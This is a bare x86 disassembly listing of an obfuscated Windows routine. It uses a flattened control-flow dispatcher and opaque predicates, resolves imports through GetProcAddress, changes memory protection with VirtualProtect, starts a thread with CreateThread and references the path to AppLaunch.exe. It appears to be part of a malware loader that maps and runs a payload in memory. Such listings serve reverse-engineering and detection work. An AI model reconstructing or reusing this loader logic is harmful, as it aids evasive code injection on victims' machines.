jmp 0x401810
mov dword [esp], 0x10
mov eax, 0x8d332f02
jmp 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0xecfa222
mov edi, 0xe5c8cc57
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xe5c8cc57
jmp 0x404b19
mov eax, dword [0x4ae410]
mov ebx, 0xd2653be
mov edi, 0xd5462823
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd5462823
jmp 0x404b21
mov eax, dword [0x4ae410]
mov ebx, 0x60634fa4
mov edi, 0x1f7aca8
mov dword [esp], 2
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x1f7aca8
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4ae40c], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401810
push 0xffffffffffffffff
push dword [esp + 0x7c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esp + 0x44], 0
mov dword [esp], 1
mov eax, 0x6c7652df
jmp 0x401810
cmp byte [esp + 0x1d], 0
mov eax, 0x336cca6
mov ecx, 0xa822c375
cmovne eax, ecx
jmp 0x401810
mov eax, dword [esp + 0x30]
mov dword [esp + 0xfc], eax
mov eax, 0x82ea0759
jmp 0x401810
mov eax, dword [esp + 0x170]
mov ecx, dword [esp + 0x174]
mov edx, dword [esp + 0x16c]
mov dword [ecx + eax], edx
mov eax, 0x4992555e
jmp 0x401810
cmp byte [esp + 0x27], 0
mov eax, 0x262434b
mov ecx, 0x22312648
cmovne eax, ecx
jmp 0x401810
mov eax, dword [0x4ae410]
mov edi, 0x6138c0c0
mov ebx, 0xe99a4bc9
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe99a4bc9
jmp 0x404e9e
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x6c7652df
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x9166503b
jmp 0x4017fd
mov eax, 0xc1fcf139
jmp 0x401810
mov eax, 0x42b71bce
jmp 0x401810
mov eax, dword [esp + 0x14c]
mov dword [esp + 0x48], eax
mov eax, 0xe3300db8
jmp 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xd49c7cec
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x28c44b31
cmovne ebx, edi
test eax, edx
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [esp + 0x40]
cmovge eax, ebx
sub ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c4]
mov dword [esp + 0x128], esi
mov dword [esp + 0x7c], ecx
mov dword [esp + 0x12c], edx
jmp 0x401810
mov eax, 0x9f02d378
jmp 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x4a46b55c
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xd03d26e2
cmovne ebx, edi
test eax, edx
mov edx, dword [esp + 0xa0]
mov dword [esp + 0x48], 0
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
mov dword [esp + 0xc], edx
jmp 0x401810
mov eax, 0x5a0c4a50
jmp 0x401810
cmp byte [esp + 0x26], 0
mov eax, 0x1374dfb5
mov ecx, 0xe66c27b9
cmovne eax, ecx
jmp 0x401810
mov eax, dword [esp + 0xc]
mov dword [esp + 0x144], eax
mov eax, 0xb4a93bab
jmp 0x401810
mov eax, dword [esp + 0x1a4]
mov ecx, dword [esp + 0x1a0]
mov dword [eax + 4], ecx
lea eax, [esp + 0x210]
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x2c]
add eax, eax
mov word [ecx], ax
mov eax, 0x262434b
jmp 0x401810
mov eax, 0x6b241d39
jmp 0x401810
mov eax, 0xb55febc1
jmp 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x4b7281f7
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xa4d2b33
cmovne ebx, edi
test eax, edx
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [esp + 0x94]
cmovge eax, ebx
mov ecx, dword [ecx + 0x34]
mov dword [esp + 0xe0], ecx
jmp 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x3de8ea43
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x520f5026
jmp 0x404c7c
mov eax, 0x7c52728c
jmp 0x401810
mov eax, dword [esp + 0x190]
mov ecx, dword [esp + 0x194]
mov edx, dword [esp + 0x198]
mov ebx, 0x25f5c92f
nop dword [eax + eax]
cmp ebx, 0x25f5c92f
je 0x4047c5
cmp ebx, 0x89a6a7db
jne 0x4047b0
jmp 0x404f24
mov ebx, 0x89a6a7db
jmp 0x4047b0
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x54]
mov dword [esp + 0x104], esi
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0xc]
mov dword [esp + 0x108], eax
mov eax, 0xb78d509e
jmp 0x401810
mov eax, 0x93b8c075
jmp 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xaf19ca4c
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x3b262995
jmp 0x404c7c
mov eax, dword [esp + 0x140]
movzx eax, word [eax]
and eax, 0xfff
add eax, dword [esp + 0x13c]
mov dword [esp + 0x58], eax
mov eax, 0x155e8c42
jmp 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x53eb0e20
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x41325aa7
jmp 0x404c7c
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x7f23508c
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xf643d436
jmp 0x4017fd
mov eax, dword [0x4ae410]
mov ebx, 0xcfcd0940
mov edi, 0x94159807
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x94159807
jmp 0x404b19
mov eax, dword [esp + 0x9c]
mov eax, dword [esp + 0x98]
mov eax, 0x7f3b3300
jmp 0x401810
mov eax, dword [esp + 0x68]
mov dword [esp + 0x98], eax
mov eax, 0xf3b3389d
jmp 0x401810
mov eax, dword [esp + 0x58]
mov eax, dword [eax]
mov ecx, dword [esp + 8]
mov ecx, dword [esp + 8]
mov ecx, dword [esp + 8]
mov ecx, dword [esp + 8]
mov ecx, dword [esp + 8]
mov ecx, dword [esp + 8]
mov ecx, dword [esp + 8]
mov ecx, dword [esp + 8]
add eax, dword [esp + 8]
mov ecx, dword [esp + 0x58]
mov dword [ecx], eax
mov eax, 0xcfcd0940
jmp 0x401810
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x10]
lea eax, [eax + ecx*4]
mov dword [esp + 0x168], eax
mov eax, 0xeefaddec
jmp 0x401810
mov eax, dword [esp + 0xa4]
mov ebx, 0x5edb690
mov edi, 0xbf968166
cmp eax, dword [esp + 0xa8]
mov eax, dword [0x4ae410]
lea ecx, [eax + 1]
setl byte [esp + 0x1f]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xbf968166
jmp 0x404b21
mov dword [esp + 0x44], 1
mov eax, 0x6562d832
jmp 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x400b5090
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xda96241f
jmp 0x404c7c
mov dword [esp + 0x40], esi
mov eax, dword [ebp + 0x34]
mov dword [esp + 0x18], eax
mov eax, 0x1c2877fa
jmp 0x401810
push 0x400
lea eax, [esp + 0x28c]
push eax
push esi
vzeroupper
call fcn.0043d3b0
add esp, 0xc
mov dword [esp + 0xf0], ebp
mov eax, 0xfb019759
jmp 0x401810
mov eax, 0x6fefbbbb
jmp 0x401810
mov eax, 0x8a760f84
jmp 0x401810
mov eax, dword [esp + 0x88]
add eax, 2
push eax
push dword [esp + 0x68]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x5c], eax
mov eax, 0x9b2ba242
jmp 0x401810
mov eax, 0x7253bd53
jmp 0x401810
mov eax, dword [esp + 0x3c]
mov dword [esp + 0xb4], eax
mov eax, 0x762bdaf0
jmp 0x401810
cmp dword [esp + 0x74], 0
mov eax, dword [0x4ae410]
mov edi, 0xa268435b
mov ebx, 0xaa169c91
lea ecx, [eax + 1]
sets byte [esp + 0x24]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xaa169c91
jmp 0x404e9e
mov dword [esp + 0x34], 0
mov eax, 0xdba84a7b
jmp 0x401810
mov eax, 0xfb92298c
jmp 0x401810
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x68]
add eax, dword [ecx + 4]
mov dword [esp + 0x68], eax
mov eax, 0x44436131
jmp 0x401810
mov eax, 0x62029dc1
jmp 0x401810
mov eax, dword [esp + 0xc]
mov dword [esp + 0x38], eax
mov eax, 0x6ee2b3ca
jmp 0x401810
mov eax, 0xa75809b2
jmp 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0xdab19a92
mov edi, 0x2c98b98
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x2c98b98
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4ae40c], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xcedde9e7
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xd5462823
jmp 0x4017fd
mov dword [esp], 2
mov eax, 0x56ed82d9
jmp 0x401810
mov dword [esp + 0x11c], esi
mov dword [esp + 0x120], ebp
mov eax, 0x6e51bd21
jmp 0x401810
mov eax, dword [esp + 0x30]
mov dword [esp + 0x118], eax
mov eax, 0x67781b1c
jmp 0x401810
mov eax, dword [esp + 0x50]
mov dword [esp + 0x150], esi
mov dword [esp + 0x154], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x158], eax
mov eax, 0x8d9c2685
jmp 0x401810
mov eax, dword [esp + 0x40]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x40]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x40]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x40]
sub eax, dword [esp + 0x18]
mov dword [esp + 0x7c], eax
mov eax, 0xe54f7a44
jmp 0x401810
mov eax, 0x95eb357e
jmp 0x401810
mov eax, dword [esp + 0x14]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0xc8168823
setne byte [esp + 0x23]
jmp 0x401810
mov eax, dword [esp + 0x144]
add eax, 2
mov dword [esp + 0xac], eax
mov eax, 0xbf939426
jmp 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x7253bd53
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe71835d5
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401810
mov eax, dword [esp + 0x58]
mov edi, 0xa6fd98e4
mov ebx, 0x94159807
mov eax, dword [eax]
add eax, dword [esp + 8]
mov ecx, dword [esp + 0x58]
mov dword [ecx], eax
mov eax, dword [0x4ae410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x94159807
jmp 0x404e9e
mov eax, dword [esp + 0x130]
shr eax, 1
mov dword [esp + 0xc8], eax
mov eax, dword [esp + 0x38]
add eax, 8
mov dword [esp + 0xa0], eax
mov eax, 0x7be232d8
jmp 0x401810
mov eax, dword [esp + 0x1ac]
mov eax, dword [eax]
add eax, dword [esp + 0x1a8]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
movzx ecx, byte [esp + 7]
mov dword [esp + 0x78], eax
mov edx, 0xc8e3c317
mov eax, ecx
xor al, 0xfe
test al, cl
mov eax, 0x9a4a357f
cmove eax, edx
jmp 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x1b0b8f92
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x9771be93
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
movzx edi, word [ebp + 6]
cmp ecx, 0xa
cmovge eax, edx
mov dword [esp + 0x100], edi
jmp 0x401810
mov eax, dword [0x4ae410]
mov edi, 0xeec99f21
mov ebx, 0xbf968166
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xbf968166
jmp 0x404e96
vmovups ymm0, ymmword [0x4a1278]
vmovups ymm1, ymmword [0x4a1260]
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xbc]
vmovups ymm2, ymmword [0x4a1240]
mov ebx, 0xaad1360f
mov edi, 0x4d77f0cf
mov dword [eax], ecx
mov eax, dword [0x4ae410]
vmovups ymmword [esp + 0x268], ymm0
vmovups ymmword [esp + 0x250], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [esp + 0x230], ymm2
lea ecx, [eax + 1]
vmovups ymmword [esp + 0x210], ymm1
cmp dword [ebp + 0xe8], 0
setne byte [esp + 7]
setne byte [esp + 0x27]
imul eax, ecx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
mov eax, 0x4d77f0cf
sete cl
cmove eax, ebx
cmp dword [0x4ae40c], 0xa
setl dl
cmovge eax, edi
xor dl, cl
mov ecx, dword [esp + 0x84]
cmovne eax, ebx
add ecx, 0x24
mov dword [esp + 0x2c], ecx
jmp 0x401810
mov eax, dword [esp + 0x164]
mov eax, dword [eax]
add eax, dword [esp + 0x160]
mov dword [esp + 0x10], 0
mov dword [esp + 0x4c], eax
mov eax, 0x3e38b137
jmp 0x401810
mov eax, dword [0x4ae410]
mov edi, 0x725b9db8
mov ebx, 0x4d77f0cf
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x4d77f0cf
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4ae40c], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401810
mov eax, dword [esp + 0xac]
mov dword [esp + 0xc], eax
mov eax, 0x44cbfab0
jmp 0x401810
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x54]
mov dword [esp + 0x190], eax
mov eax, dword [esp + 0x34]
lea eax, [eax + eax*4]
mov ecx, dword [edx + eax*8 + 8]
mov dword [esp + 0x194], ecx
mov eax, dword [edx + eax*8 + 0xc]
add eax, esi
mov dword [esp + 0x198], eax
mov eax, 0xc65640bc
jmp 0x401810
mov eax, 0x93b8c075
jmp 0x401810
mov dword [esp + 0x28], 2
mov eax, 0xe9e7ff2
jmp 0x401810
lea edi, [esp + 0x1c0]
mov dword [esp + 0x1b4], eax
mov dword [esp + 0x1b8], ecx
mov dword [esp + 0x1bc], edx
mov dword [esp + 0x1b0], edi
push dword [esp + 0x1b0]
push dword [esp + 0x1b8]
push dword [esp + 0x1c0]
push dword [esp + 0x1c8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0xa17352bc
jmp 0x401810
cmp eax, 0xa75809b2
jne 0x401810
mov ecx, dword [esp + 0x48288]
xor ecx, esp
vzeroupper
call fcn.0043a530
mov eax, dword [esp + 0x44]
add esp, 0x4828c
pop esi
pop edi
pop ebx
pop ebp
ret